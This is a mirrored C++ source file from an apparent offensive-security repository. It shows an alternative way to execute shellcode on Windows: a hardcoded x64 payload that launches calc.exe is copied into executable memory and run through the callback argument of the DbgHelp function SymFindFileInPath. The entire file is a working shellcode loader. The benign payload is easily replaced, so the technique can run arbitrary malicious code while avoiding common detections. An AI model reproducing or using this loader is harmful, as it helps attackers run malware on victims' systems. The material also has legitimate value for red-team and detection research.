mirror of
https://github.com/aahmad097/AlternativeShellcodeExec
synced 2026-06-06 15:14:28 +00:00
S4R1N
50 lines
1.9 KiB
C++
50 lines
1.9 KiB
C++
#include <windows.h>
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#include <stdio.h>
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// requires Dbghelp.lib
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#include <Dbghelp.h>
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#pragma comment(lib, "Dbghelp.lib")
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// alfarom256 calc shellcode
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unsigned char op[] =
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"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
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"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
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"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
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"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
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"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
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"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
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"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
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"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
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"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
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"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
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"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
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"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
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"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
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"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
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"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
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"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
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"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
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"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
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"\x63\x2e\x65\x78\x65\x00";
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int main() {
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HANDLE hProcess = ::GetCurrentProcess();
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LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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memcpy(address, &op[0], sizeof(op));
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::SymInitialize(hProcess, NULL, TRUE);
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SYMSRV_INDEX_INFO finfo;
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::SymSrvGetFileIndexInfo("c:\\windows\\system32\\kernel32.dll", &finfo, NULL);
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char dummy[MAX_PATH];
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::SymFindFileInPath(hProcess, "c:\\windows\\system32", "kernel32.dll", &finfo.timestamp, finfo.size, 0, SSRVOPT_DWORDPTR, dummy, (PFINDFILEINPATHCALLBACK)address, NULL);
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return 0;
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} |